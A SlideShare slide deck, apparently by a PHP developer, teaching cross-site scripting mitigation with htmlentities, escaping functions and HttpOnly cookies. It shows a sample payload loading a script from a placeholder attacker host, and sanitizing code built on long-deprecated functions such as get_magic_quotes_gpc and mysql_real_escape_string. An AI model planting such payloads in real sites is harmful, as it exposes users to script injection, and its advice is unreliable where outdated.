SlideShare a Scribd company logo
Kerdainos neos gnosis
Enjoy new knowledge
XSS MITIGATION
IN PHP
KERDAINO NEOS GNOSIS
Kerdainos neos gnosis
Enjoy new knowledge
Tinashe Makuti
Developer @Base2Theory
C,C++, PHP, VISUAL BASIC.NET
WEBSITE:
www.educattem.com
Email.
mtinashe@educattem.com
Contents
• WHAT IS XSS.
• DANGERS OF NOT MITIGATING IT.
• PHP’S HELP IN STOPPING DEADLY XSS
(htmlentities)
• htmlspecialchars(),
get_magic_quotes_gpc(), stripslashes(),
mysql_real_escape_string()
• Setting Httponly attribute in PHP so to avoid
client access to protected cookies
What is xss
Defined earlier on.
• But never the less Cross Site Scripting(xss) is
the event when an attacker injects a script,
often JavaScript, into the output of a web
application in such a way that it is executed in
the client browser.
DANGERS OF NOT TAKING ACTION AGAINST IT.
Cookies will be stolen.
• Stolen cookies helps the attacker to know
your client’s username and password.
• The attacker can deploy a Trojan on your
user’s computer.
• The attacker like you can steal money from
the bank, like you are going to do today.
So what does uncle PHP say about this naughty boy XSS
PHP offers us with a wide range
of purifier functions namely:
i. Htmlentities
ii. htmlspecialchars(),
iii.get_magic_quotes_gpc(),
iv.stripslashes(),
v. mysql_real_escape_string()
Use of these is seen in the next slide as they are used
together to sanitize some vulnerable code.
Some dangerous code
<script
src='http://x.com/hack.js'>
</script><script>hack();</script>
Our purpose is to neutralize this code.
• If let to run this code will load in a
JavaScript program and then executes
malicious functions.
• But this is not much of a threat if we apply
the htmlentities sanitizer.
Some dangerous code
htmlentities(<script src='http://x.com/hack.js'></script>)
htmlentities(<script>hack();</script>)
Neutralized.
• If let to run this code it will turn into a
harmless string below
&lt;script src='http://x.com/hack.js'&gt;
&lt;/script&gt;&lt;script&gt;hack();&lt;/scrip
t&gt;
• Good thing about this is that this is
harmless to our client’s machine.
Another example: Uncle PHP at work
<?php
function mysql_entities_fix_string($string)
{
return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
If (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>
The mysql_entities_fix_string function first calls mysql_fix_string and then
passes the result through htmlentities before returning the fully sanitized
string.
Finally restricting access to our cookies using HttpOnly
HttpOnly allows mitigating the
risk of a client side script
accessing our protected
cookies.
• But however this will only work if the
selected browser is compatible with the
httponly attribute.
Using PHP to set HttpOnly
PHP supports setting of the HttpOnly flag from
version 5.0.2
Thus session cookies managed by PHP, the flag
can be set permanently in the php.ini file i.e
session.cookie_httponly = True

More Related Content

PDF
Tsc summit #2 - HTTP Header Security
PDF
Web security at Meteor (Pivotal Labs)
PDF
Content Security Policy
PDF
Meteor Meets Mallory
PDF
Integrity protection for third-party JavaScript
PDF
Preventing XSS with Content Security Policy
PDF
An Overview of Common Vulnerabilities in Wordpress
PPT
Node.JS security
Tsc summit #2 - HTTP Header Security
Web security at Meteor (Pivotal Labs)
Content Security Policy
Meteor Meets Mallory
Integrity protection for third-party JavaScript
Preventing XSS with Content Security Policy
An Overview of Common Vulnerabilities in Wordpress
Node.JS security

What's hot (20)

PDF
Integrity protection for third-party JavaScript
PDF
Defeating Cross-Site Scripting with Content Security Policy (updated)
PPTX
Content Security Policy - The application security Swiss Army Knife
PDF
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
PDF
5 TIPS TO SECURE YOUR VPS AND DEDICATED SERVER
PDF
Security and Privacy on the Web in 2015
ODP
Lets exploit Injection and XSS
PPT
Securing Java EE Web Apps
PPTX
Cqcon2015
PDF
CONFidence 2018: Defense-in-depth techniques for modern web applications and ...
PDF
Security and Privacy on the Web in 2016
PDF
Securing your AngularJS Application
PDF
Cryptography In The Browser Using JavaScript
PDF
Be Afraid. Be Very Afraid. Javascript security, XSS & CSRF
PPTX
Ssl certificate in internet world
PDF
URL to HTML
PPTX
Don't Get Stung
PDF
W3C Content Security Policy
PPTX
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
PPTX
How to defend from an attacker armed with a mathematician
Integrity protection for third-party JavaScript
Defeating Cross-Site Scripting with Content Security Policy (updated)
Content Security Policy - The application security Swiss Army Knife
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
5 TIPS TO SECURE YOUR VPS AND DEDICATED SERVER
Security and Privacy on the Web in 2015
Lets exploit Injection and XSS
Securing Java EE Web Apps
Cqcon2015
CONFidence 2018: Defense-in-depth techniques for modern web applications and ...
Security and Privacy on the Web in 2016
Securing your AngularJS Application
Cryptography In The Browser Using JavaScript
Be Afraid. Be Very Afraid. Javascript security, XSS & CSRF
Ssl certificate in internet world
URL to HTML
Don't Get Stung
W3C Content Security Policy
Microsoft Ignite The Tour 2020 - BRK30173 - Identity is the new control plane
How to defend from an attacker armed with a mathematician
Ad

Viewers also liked (15)

PDF
Area de talleres filu2015 imp
PDF
Manifiesto 8 de marzo 2016
PDF
Month Of Rabi-Ul-Awwal
PPTX
XoXo Accesorios
PDF
ISLAMI ZINDAGI_اسلامی ذندگی
PDF
Book - Faizan e Data Ganj Bakhsh
PDF
Mayple html5 player
PDF
Tamheed ul eman.urdu part 1
PDF
XXL2011 - Team 2 - MidTerm Presentation 17 Feb
PDF
Cure For Sins
PDF
Aina e qiyamat.hindi
PDF
Logicfin adquisciones
PDF
World Hepatitis Day 2015: introduction and overview
PPTX
Scientific Sessions 2015: Recurrent BV and candidiasis
RTF
Ketan Resume
Area de talleres filu2015 imp
Manifiesto 8 de marzo 2016
Month Of Rabi-Ul-Awwal
XoXo Accesorios
ISLAMI ZINDAGI_اسلامی ذندگی
Book - Faizan e Data Ganj Bakhsh
Mayple html5 player
Tamheed ul eman.urdu part 1
XXL2011 - Team 2 - MidTerm Presentation 17 Feb
Cure For Sins
Aina e qiyamat.hindi
Logicfin adquisciones
World Hepatitis Day 2015: introduction and overview
Scientific Sessions 2015: Recurrent BV and candidiasis
Ketan Resume
Ad

Similar to Xss mitigation php [Repaired] (20)

PPTX
W3 conf hill-html5-security-realities
PDF
Complete xss walkthrough
PPTX
Cross Site Scripting (XSS)
PDF
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
PPTX
20160211 OWASP Charlotte RASP
PPTX
Crypto failures every developer should avoid
PPTX
Crypto failures every developer should avoid
PPT
Defending Against Attacks With Rails
PPT
PHPUG Presentation
PDF
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
PDF
Null 14 may_lesser_known_attacks_by_ninadsarang
PDF
XSS Countermeasures in Grails
PDF
XSS Countermeasures in Grails
PDF
XSS Countermeasures in Grails
PDF
Applied machine learning defeating modern malicious documents
PDF
Automated JavaScript Deobfuscation - PacSec 2007
PDF
Introduction to Cross Site Scripting ( XSS )
PPTX
Prevoty NYC Java SIG 20150730
PPTX
Open source security
KEY
DVWA BruCON Workshop
W3 conf hill-html5-security-realities
Complete xss walkthrough
Cross Site Scripting (XSS)
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
20160211 OWASP Charlotte RASP
Crypto failures every developer should avoid
Crypto failures every developer should avoid
Defending Against Attacks With Rails
PHPUG Presentation
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null 14 may_lesser_known_attacks_by_ninadsarang
XSS Countermeasures in Grails
XSS Countermeasures in Grails
XSS Countermeasures in Grails
Applied machine learning defeating modern malicious documents
Automated JavaScript Deobfuscation - PacSec 2007
Introduction to Cross Site Scripting ( XSS )
Prevoty NYC Java SIG 20150730
Open source security
DVWA BruCON Workshop

Xss mitigation php [Repaired]

  • 1. Kerdainos neos gnosis Enjoy new knowledge XSS MITIGATION IN PHP KERDAINO NEOS GNOSIS
  • 2. Kerdainos neos gnosis Enjoy new knowledge Tinashe Makuti Developer @Base2Theory C,C++, PHP, VISUAL BASIC.NET WEBSITE: www.educattem.com Email. mtinashe@educattem.com
  • 3. Contents • WHAT IS XSS. • DANGERS OF NOT MITIGATING IT. • PHP’S HELP IN STOPPING DEADLY XSS (htmlentities) • htmlspecialchars(), get_magic_quotes_gpc(), stripslashes(), mysql_real_escape_string() • Setting Httponly attribute in PHP so to avoid client access to protected cookies
  • 4. What is xss Defined earlier on. • But never the less Cross Site Scripting(xss) is the event when an attacker injects a script, often JavaScript, into the output of a web application in such a way that it is executed in the client browser.
  • 5. DANGERS OF NOT TAKING ACTION AGAINST IT. Cookies will be stolen. • Stolen cookies helps the attacker to know your client’s username and password. • The attacker can deploy a Trojan on your user’s computer. • The attacker like you can steal money from the bank, like you are going to do today.
  • 6. So what does uncle PHP say about this naughty boy XSS PHP offers us with a wide range of purifier functions namely: i. Htmlentities ii. htmlspecialchars(), iii.get_magic_quotes_gpc(), iv.stripslashes(), v. mysql_real_escape_string() Use of these is seen in the next slide as they are used together to sanitize some vulnerable code.
  • 7. Some dangerous code <script src='http://x.com/hack.js'> </script><script>hack();</script> Our purpose is to neutralize this code. • If let to run this code will load in a JavaScript program and then executes malicious functions. • But this is not much of a threat if we apply the htmlentities sanitizer.
  • 8. Some dangerous code htmlentities(<script src='http://x.com/hack.js'></script>) htmlentities(<script>hack();</script>) Neutralized. • If let to run this code it will turn into a harmless string below &lt;script src='http://x.com/hack.js'&gt; &lt;/script&gt;&lt;script&gt;hack();&lt;/scrip t&gt; • Good thing about this is that this is harmless to our client’s machine.
  • 9. Another example: Uncle PHP at work <?php function mysql_entities_fix_string($string) { return htmlentities(mysql_fix_string($string)); } function mysql_fix_string($string) { If (get_magic_quotes_gpc()) $string = stripslashes($string); return mysql_real_escape_string($string); } ?> The mysql_entities_fix_string function first calls mysql_fix_string and then passes the result through htmlentities before returning the fully sanitized string.
  • 10. Finally restricting access to our cookies using HttpOnly HttpOnly allows mitigating the risk of a client side script accessing our protected cookies. • But however this will only work if the selected browser is compatible with the httponly attribute.
  • 11. Using PHP to set HttpOnly PHP supports setting of the HttpOnly flag from version 5.0.2 Thus session cookies managed by PHP, the flag can be set permanently in the php.ini file i.e session.cookie_httponly = True